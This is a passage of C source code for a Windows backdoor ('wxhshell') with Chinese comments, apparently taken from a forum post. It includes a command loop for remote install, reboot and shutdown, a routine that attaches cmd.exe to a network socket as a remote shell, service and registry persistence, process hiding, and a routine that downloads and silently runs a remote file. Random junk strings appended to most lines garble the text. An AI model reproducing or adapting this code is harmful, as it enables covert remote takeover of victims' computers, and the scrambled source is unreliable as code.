      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F]5\YYXO  
    break; I:t^S.,  
  } D[~}uZ4\  
  // 安装 H#+xKYrp  
  case 'i': { tpU D0Z)  
    if(Install()) ou6j*eSN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [g|Hj)(  
    else v@_in(dk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @^CG[:|  
    break; {!=2<-Aq  
    } ;3 UvkN  
  // 卸载 3;y_mg  
  case 'r': { E@pFTvo  
    if(Uninstall()) 7bT /KLU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@` 8(\(  
    else DHzkRCM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (C`@a/q  
    break; RVP18ub.S  
    } z!CD6W1n  
  // 显示 wxhshell 所在路径 -N z}DW>  
  case 'p': { t w!.%_1^  
    char svExeFile[MAX_PATH]; :t>Q:mX(N  
    strcpy(svExeFile,"\n\r"); U**)H_S/~  
      strcat(svExeFile,ExeFile); Nza; O[  
        send(wsh,svExeFile,strlen(svExeFile),0); 0yTQ{'Cc  
    break; QUp?i  
    } *<k&#D"m  
  // 重启 ifrq  
  case 'b': {  !!+Da>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t/ eo]  
    if(Boot(REBOOT)) P6we(I`"2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + *a7GttU  
    else { ]fC7%"nB  
    closesocket(wsh); ][t 6VA  
    ExitThread(0); owM mCR  
    } oD,C<[(p  
    break;  UTX](:TC  
    } wlVvxX3%  
  // 关机 s3< F  
  case 'd': { .. UoyBV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <[9?Rj@  
    if(Boot(SHUTDOWN)) (nz}J)T&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Omb.53+  
    else { ~ B]jV$=  
    closesocket(wsh); ~04[KG  
    ExitThread(0); V{$Sfmey  
    } czS7-Hh@  
    break; fq(5Lfe}  
    } d h?dO`  
  // 获取shell 6n-r  
  case 's': { @g\;` #l  
    CmdShell(wsh); _BwKY#09Zp  
    closesocket(wsh); ,Hh*3rR^  
    ExitThread(0); 4W-"|Z_x  
    break; -fPT}v  
  } e YDUon  
  // 退出 -yA3 RP  
  case 'x': { "Q?_ EEn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' =}pxyg  
    CloseIt(wsh); X <FOn7qf  
    break; %,;gP.dh7  
    } %/%gMRXG2  
  // 离开 ucM.Ro=@  
  case 'q': { ~o Fh>9u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eP?~- #  
    closesocket(wsh); LYNZP4(R  
    WSACleanup(); \!4|tBKVY  
    exit(1); w&C1=v -h  
    break; (HJ$lxk<2h  
        } tj0Qr-/  
  } 1t#XQ?8  
  } .FJ j  
6=3(oUl  
  // 提示信息 a7 =YG6[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Ty 3e|do  
} QES^^PQe:  
  } req-Q |  
(GNEYf|  
  return; L ]*`4 L  
} 7@@<5&mN  
Z+,CL/  
// shell模块句柄 Se/ss!If  
int CmdShell(SOCKET sock) Iy.mVtcsZ  
{ ^Rk^XQCh  
STARTUPINFO si; % GVN4y&  
ZeroMemory(&si,sizeof(si)); ) H+d.Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ETg{yBsp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _j>L4bT  
PROCESS_INFORMATION ProcessInfo; h[,XemwX  
char cmdline[]="cmd"; ]Y=S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <b'1#Pd>0  
  return 0; ( QKsB3X  
} {RJ52Gx(  
,@479ZvvR3  
// 自身启动模式 T,Fm"U6[(  
int StartFromService(void) vgN@~Xa  
{ fOLnK y#  
typedef struct u`+ 'lBE,  
{ v!KJ|c@m  
  DWORD ExitStatus; dXDXRY.FMQ  
  DWORD PebBaseAddress; 6qf-Y!D5  
  DWORD AffinityMask; k|5k8CRX  
  DWORD BasePriority; +8eVj#N  
  ULONG UniqueProcessId; o Fi) d[`  
  ULONG InheritedFromUniqueProcessId; iAgOnk[  
}   PROCESS_BASIC_INFORMATION; _E (x2BS?  
pSXEJ 2k  
PROCNTQSIP NtQueryInformationProcess; ?F25D2[(  
]6q*)q:`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; St_S l:m$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k1m'Ka-  
^} tuP  
  HANDLE             hProcess; |lY`9-M`I  
  PROCESS_BASIC_INFORMATION pbi; Z) t{JHm:  
"H@Fe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Eny!R@u7q  
  if(NULL == hInst ) return 0; -FaaFw:Z;A  
cXMa\#P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <oQ6ZX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !x6IV25  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wy!uRzbBv  
lZBv\JE  
  if (!NtQueryInformationProcess) return 0; Gg}t-_M  
c{ 7<H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1j+eD:d'  
  if(!hProcess) return 0; vv!Bo~L1,  
8ZFH}v@V1'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ePi Z  
_=6vW^ s  
  CloseHandle(hProcess); 8a?IC|~Pz  
+~:x}QwGT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n}f3Vrl  
if(hProcess==NULL) return 0; j+ I*Xw  
=^#0.  
HMODULE hMod; N7a[B>+`  
char procName[255]; 51z/  
unsigned long cbNeeded; |MVV +.X  
ig+k[`W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2G H)iUmc  
Ls(&HOK[p  
  CloseHandle(hProcess); JOPTc]  
!#C)99L"F  
if(strstr(procName,"services")) return 1; // 以服务启动 o16d`}/<  
T:Bzz)2/  
  return 0; // 注册表启动 KoFv0~8Q  
} 5R)[Ou.  
RZ<.\N (M  
// 主模块 ": nI_~q  
int StartWxhshell(LPSTR lpCmdLine) =?^-P{:\?  
{ MV9r5|3-  
  SOCKET wsl; Kjv2J;Xuh  
BOOL val=TRUE; [@x  
  int port=0; \6U 2-m'  
  struct sockaddr_in door; UC.8DaIPN  
DhHtz.6  
  if(wscfg.ws_autoins) Install(); N-Qu/,~+  
r.?qEe8VV  
port=atoi(lpCmdLine);  GsI[N%  
. c#90RP  
if(port<=0) port=wscfg.ws_port; Oxpo6G  
rYD']%2  
  WSADATA data; 4a#B!xW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A(PE  
n&(3o6i'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,#=eu85 '  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SCqu,  
  door.sin_family = AF_INET; Rz)v-Yu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cl ?< 7  
  door.sin_port = htons(port); =7#u+*Yr9  
W31LNysH!;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BEFe~* ~  
closesocket(wsl); .vN)A *  
return 1; JATS6-Lz`  
} .V7Y2!4TE  
Q=^ktKMeR  
  if(listen(wsl,2) == INVALID_SOCKET) { 9fCiLlI  
closesocket(wsl); ZBPd(;"x+  
return 1; LAj}kW~  
} =CWc`  
  Wxhshell(wsl); bN]\K/  
  WSACleanup(); O}e|P~W  
(\T8!s{AO  
return 0; @T9m}+fR  
q/A/3/  
} O 0Vn";Q 4  
)j]gm i"  
// 以NT服务方式启动 *sjj"^'=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HI}pX{.\  
{ Z3OZPxm  
DWORD   status = 0; ,xm;JXJ  
  DWORD   specificError = 0xfffffff; )-MA!\=<  
}_Tt1iai*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IvY,9D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |~7+/VvI+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; USlF+RY@3L  
  serviceStatus.dwWin32ExitCode     = 0; [8 {_i?wY  
  serviceStatus.dwServiceSpecificExitCode = 0; U+(Z#b(Q  
  serviceStatus.dwCheckPoint       = 0; b5lk0jA  
  serviceStatus.dwWaitHint       = 0; lpIteZw:  
)e @01l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z|V"8jE  
  if (hServiceStatusHandle==0) return; C3&17O6  
"bv,I-\  
status = GetLastError(); x8\E~6`,  
  if (status!=NO_ERROR) xgZV0!%  
{ n ;Ql=4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SD)5?{6<  
    serviceStatus.dwCheckPoint       = 0; aS c#&{  
    serviceStatus.dwWaitHint       = 0; A@9U;8k  
    serviceStatus.dwWin32ExitCode     = status; &*Q|d*CP  
    serviceStatus.dwServiceSpecificExitCode = specificError; rhlW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8<wtf]x  
    return; Z'7 c^c7_  
  } W@R$' r,@O  
g(ZeFOn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jydp4ek_n  
  serviceStatus.dwCheckPoint       = 0; U>e3_td3,  
  serviceStatus.dwWaitHint       = 0; Zm"!E6`69  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _ C7abw-  
} n's2/9x  
x@{G(W:W  
// 处理NT服务事件,比如:启动、停止 'w>uFg1.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y&ct+w]%  
{ ujI 3tsl  
switch(fdwControl) u5  [1Z|O  
{ ?^+#pcX]t|  
case SERVICE_CONTROL_STOP: /\IAr,w[  
  serviceStatus.dwWin32ExitCode = 0; x!Z:K5%O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F{a0X0ru~  
  serviceStatus.dwCheckPoint   = 0; S!`4Bl  
  serviceStatus.dwWaitHint     = 0; U89]?^|bb  
  { :F!dTD$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EM>c%BH<N  
  } eONeWY9  
  return; BN<#x@m$]  
case SERVICE_CONTROL_PAUSE: V0SW 5 m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =)"NE>  
  break; PCV58n3  
case SERVICE_CONTROL_CONTINUE: 8GF[)z&|P:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -s?dzX  
  break; pIU#c&%<9  
case SERVICE_CONTROL_INTERROGATE: Zztt)/6*  
  break; pq/ FLYiv  
}; Thht_3_C,f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,H#qgnp  
} SK2J`*  
oo$WD6eCR  
// 标准应用程序主函数 ihpz}g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z~-T0Ab-  
{ f)u*Q!BDD  
=jk-s*g  
// 获取操作系统版本 <3],C)Zwc  
OsIsNt=GetOsVer(); =F^->e0N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }iiG$?|.  
ne !j%9Ar  
  // 从命令行安装 7gZVg@   
  if(strpbrk(lpCmdLine,"iI")) Install(); q/d5P  
 1pYmtr  
  // 下载执行文件 0`g}(}'L  
if(wscfg.ws_downexe) { T@d_ t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 _c:Vl  
  WinExec(wscfg.ws_filenam,SW_HIDE); $v?! 6:  
} R:pBbA7E  
qH {8n`  
if(!OsIsNt) { Pp JE|[]  
// 如果时win9x,隐藏进程并且设置为注册表启动 aOAwezfYR  
HideProc(); 5CRc]Q #@  
StartWxhshell(lpCmdLine); &2<&X( )  
} }Uqa8&  
else WacU@L $A  
  if(StartFromService()) LS2ek*FJO  
  // 以服务方式启动 @ ^XkU(m  
  StartServiceCtrlDispatcher(DispatchTable); R&x7Iq:=D  
else *`S)@'@:(  
  // 普通方式启动 4}r\E,`*X  
  StartWxhshell(lpCmdLine); AK*mcTr  
j]ln :?\  
return 0; (to/9OrG  
}
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只看该作者 1 发表于: 2006-10-10
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